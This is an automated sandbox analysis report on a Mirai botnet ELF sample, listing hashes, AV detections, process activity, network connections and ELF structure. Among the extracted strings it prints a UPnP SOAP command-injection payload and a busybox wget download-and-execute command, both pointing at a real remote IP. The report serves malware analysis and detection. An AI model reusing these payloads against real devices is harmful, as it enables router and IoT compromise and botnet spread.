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Linux Analysis Report
UnHAnaAW.sh4.elf

Overview

General Information

Sample name:UnHAnaAW.sh4.elf
Analysis ID:1588048
MD5:d3567fca829ba55fc281ff6e9b5e1e77
SHA1:f61c78c47d4b5ac46ebff2c38d001bd2c450e360
SHA256:77dd78c588b9e63c3f5ac023e0d4ce0adaacf4acd2d9ec3c635353a11aa3a182
Tags:elfMiraiuser-abuse_ch
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1588048
Start date and time:2025-01-10 21:01:32 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 40s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:UnHAnaAW.sh4.elf
Detection:MAL
Classification:mal64.troj.linELF@0/0@0/0
  • VT rate limit hit for: http://141.98.10.115/bins/x86
  • VT rate limit hit for: http://141.98.10.115/zyxel.sh;
Command:/tmp/UnHAnaAW.sh4.elf
PID:6271
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • dash New Fork (PID: 6241, Parent: 4331)
  • rm (PID: 6241, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.M3f8RQTQXA /tmp/tmp.OgayJlhT4P /tmp/tmp.PRU2FMXXjA
  • dash New Fork (PID: 6242, Parent: 4331)
  • rm (PID: 6242, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.M3f8RQTQXA /tmp/tmp.OgayJlhT4P /tmp/tmp.PRU2FMXXjA
  • UnHAnaAW.sh4.elf (PID: 6271, Parent: 6173, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/UnHAnaAW.sh4.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
UnHAnaAW.sh4.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6271.1.00007f3bb8400000.00007f3bb8412000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      Process Memory Space: UnHAnaAW.sh4.elf PID: 6271JoeSecurity_Mirai_6Yara detected MiraiJoe Security
        No Suricata rule has matched

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: UnHAnaAW.sh4.elfAvira: detected
        Source: UnHAnaAW.sh4.elfReversingLabs: Detection: 65%
        Source: UnHAnaAW.sh4.elfVirustotal: Detection: 64%Perma Link
        Source: /tmp/UnHAnaAW.sh4.elf (PID: 6271)Socket: 127.0.0.1:23455Jump to behavior
        Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
        Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
        Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
        Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
        Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
        Source: UnHAnaAW.sh4.elfString found in binary or memory: http://141.98.10.115/bins/x86
        Source: UnHAnaAW.sh4.elfString found in binary or memory: http://141.98.10.115/zyxel.sh;
        Source: UnHAnaAW.sh4.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: UnHAnaAW.sh4.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.115 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://141.98.10.115/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: classification engineClassification label: mal64.troj.linELF@0/0@0/0
        Source: /usr/bin/dash (PID: 6241)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.M3f8RQTQXA /tmp/tmp.OgayJlhT4P /tmp/tmp.PRU2FMXXjAJump to behavior
        Source: /usr/bin/dash (PID: 6242)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.M3f8RQTQXA /tmp/tmp.OgayJlhT4P /tmp/tmp.PRU2FMXXjAJump to behavior
        Source: /tmp/UnHAnaAW.sh4.elf (PID: 6271)Queries kernel information via 'uname': Jump to behavior
        Source: UnHAnaAW.sh4.elf, 6271.1.00007ffca9457000.00007ffca9478000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sh4/tmp/UnHAnaAW.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/UnHAnaAW.sh4.elf
        Source: UnHAnaAW.sh4.elf, 6271.1.00007ffca9457000.00007ffca9478000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sh4
        Source: UnHAnaAW.sh4.elf, 6271.1.0000559d90571000.0000559d905d4000.rw-.sdmpBinary or memory string: U5!/etc/qemu-binfmt/sh4
        Source: UnHAnaAW.sh4.elf, 6271.1.0000559d90571000.0000559d905d4000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sh4
        Source: UnHAnaAW.sh4.elf, 6271.1.00007ffca9457000.00007ffca9478000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: UnHAnaAW.sh4.elf, type: SAMPLE
        Source: Yara matchFile source: 6271.1.00007f3bb8400000.00007f3bb8412000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: UnHAnaAW.sh4.elf PID: 6271, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: UnHAnaAW.sh4.elf, type: SAMPLE
        Source: Yara matchFile source: 6271.1.00007f3bb8400000.00007f3bb8412000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: UnHAnaAW.sh4.elf PID: 6271, type: MEMORYSTR
        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception1
        File Deletion
        OS Credential Dumping11
        Security Software Discovery
        Remote ServicesData from Local System1
        Encrypted Channel
        Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Application Layer Protocol
        Exfiltration Over BluetoothNetwork Denial of Service
        No configs have been found
        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        SourceDetectionScannerLabelLink
        UnHAnaAW.sh4.elf66%ReversingLabsLinux.Trojan.Mirai
        UnHAnaAW.sh4.elf65%VirustotalBrowse
        UnHAnaAW.sh4.elf100%AviraEXP/ELF.Mirai.Bootnet.o
        No Antivirus matches
        No Antivirus matches
        No Antivirus matches
        No contacted domains info
        NameSourceMaliciousAntivirus DetectionReputation
        http://141.98.10.115/bins/x86UnHAnaAW.sh4.elffalse
          unknown
          http://141.98.10.115/zyxel.sh;UnHAnaAW.sh4.elffalse
            unknown
            http://schemas.xmlsoap.org/soap/encoding/UnHAnaAW.sh4.elffalse
              high
              http://schemas.xmlsoap.org/soap/envelope/UnHAnaAW.sh4.elffalse
                high
                • No. of IPs < 25%
                • 25% < No. of IPs < 50%
                • 50% < No. of IPs < 75%
                • 75% < No. of IPs
                IPDomainCountryFlagASNASN NameMalicious
                109.202.202.202
                unknownSwitzerland
                13030INIT7CHfalse
                91.189.91.43
                unknownUnited Kingdom
                41231CANONICAL-ASGBfalse
                91.189.91.42
                unknownUnited Kingdom
                41231CANONICAL-ASGBfalse
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                                                        No context
                                                        No context
                                                        No created / dropped files found
                                                        File type:ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
                                                        Entropy (8bit):6.820313248151933
                                                        TrID:
                                                        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                        File name:UnHAnaAW.sh4.elf
                                                        File size:72'272 bytes
                                                        MD5:d3567fca829ba55fc281ff6e9b5e1e77
                                                        SHA1:f61c78c47d4b5ac46ebff2c38d001bd2c450e360
                                                        SHA256:77dd78c588b9e63c3f5ac023e0d4ce0adaacf4acd2d9ec3c635353a11aa3a182
                                                        SHA512:5ba32c693955450fe6eddecf7f5c203a78d72a2780ae2d1608c70728775ee9fd1d55c9c51d6954070c8027732839482aa03a1da23cc8cb8ebcec712e6a98f513
                                                        SSDEEP:1536:2ap37YpmCFqhhlDwtkbGwkt09wt/NMXxs+xvDz2Cj6:2As0CchhlDsKZssvDz2
                                                        TLSH:63638D76D419AC94C8844338D4E24B792BA3F80883771DB6AED585BA4047EFCF9193F6
                                                        File Content Preview:.ELF..............*.......@.4...........4. ...(...............@...@.T...T...............X...X.B.X.B.(...D...........Q.td............................././"O.n........#.*@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

                                                        ELF header

                                                        Class:ELF32
                                                        Data:2's complement, little endian
                                                        Version:1 (current)
                                                        Machine:<unknown>
                                                        Version Number:0x1
                                                        Type:EXEC (Executable file)
                                                        OS/ABI:UNIX - System V
                                                        ABI Version:0
                                                        Entry Point Address:0x4001a0
                                                        Flags:0x9
                                                        ELF Header Size:52
                                                        Program Header Offset:52
                                                        Program Header Size:32
                                                        Number of Program Headers:3
                                                        Section Header Offset:71872
                                                        Section Header Size:40
                                                        Number of Section Headers:10
                                                        Header String Table Index:9
                                                        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                        NULL0x00x00x00x00x0000
                                                        .initPROGBITS0x4000940x940x300x00x6AX004
                                                        .textPROGBITS0x4000e00xe00x10a200x00x6AX0032
                                                        .finiPROGBITS0x410b000x10b000x240x00x6AX004
                                                        .rodataPROGBITS0x410b240x10b240xb300x00x2A004
                                                        .ctorsPROGBITS0x4216580x116580x80x00x3WA004
                                                        .dtorsPROGBITS0x4216600x116600x80x00x3WA004
                                                        .dataPROGBITS0x42166c0x1166c0x2140x00x3WA004
                                                        .bssNOBITS0x4218800x118800x31c0x00x3WA004
                                                        .shstrtabSTRTAB0x00x118800x3e0x00x0001
                                                        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                        LOAD0x00x4000000x4000000x116540x116546.85150x5R E0x10000.init .text .fini .rodata
                                                        LOAD0x116580x4216580x4216580x2280x5442.97950x6RW 0x10000.ctors .dtors .data .bss
                                                        GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Jan 10, 2025 21:02:19.811331987 CET43928443192.168.2.2391.189.91.42
                                                        Jan 10, 2025 21:02:25.442698956 CET42836443192.168.2.2391.189.91.43
                                                        Jan 10, 2025 21:02:26.978312016 CET4251680192.168.2.23109.202.202.202
                                                        Jan 10, 2025 21:02:40.032552958 CET43928443192.168.2.2391.189.91.42
                                                        Jan 10, 2025 21:02:52.318854094 CET42836443192.168.2.2391.189.91.43
                                                        Jan 10, 2025 21:02:56.414311886 CET4251680192.168.2.23109.202.202.202
                                                        Jan 10, 2025 21:03:20.986802101 CET43928443192.168.2.2391.189.91.42

                                                        System Behavior

                                                        Start time (UTC):20:02:15
                                                        Start date (UTC):10/01/2025
                                                        Path:/usr/bin/dash
                                                        Arguments:-
                                                        File size:129816 bytes
                                                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                        Start time (UTC):20:02:15
                                                        Start date (UTC):10/01/2025
                                                        Path:/usr/bin/rm
                                                        Arguments:rm -f /tmp/tmp.M3f8RQTQXA /tmp/tmp.OgayJlhT4P /tmp/tmp.PRU2FMXXjA
                                                        File size:72056 bytes
                                                        MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                        Start time (UTC):20:02:15
                                                        Start date (UTC):10/01/2025
                                                        Path:/usr/bin/dash
                                                        Arguments:-
                                                        File size:129816 bytes
                                                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                        Start time (UTC):20:02:15
                                                        Start date (UTC):10/01/2025
                                                        Path:/usr/bin/rm
                                                        Arguments:rm -f /tmp/tmp.M3f8RQTQXA /tmp/tmp.OgayJlhT4P /tmp/tmp.PRU2FMXXjA
                                                        File size:72056 bytes
                                                        MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                        Start time (UTC):20:02:19
                                                        Start date (UTC):10/01/2025
                                                        Path:/tmp/UnHAnaAW.sh4.elf
                                                        Arguments:/tmp/UnHAnaAW.sh4.elf
                                                        File size:4139976 bytes
                                                        MD5 hash:8943e5f8f8c280467b4472c15ae93ba9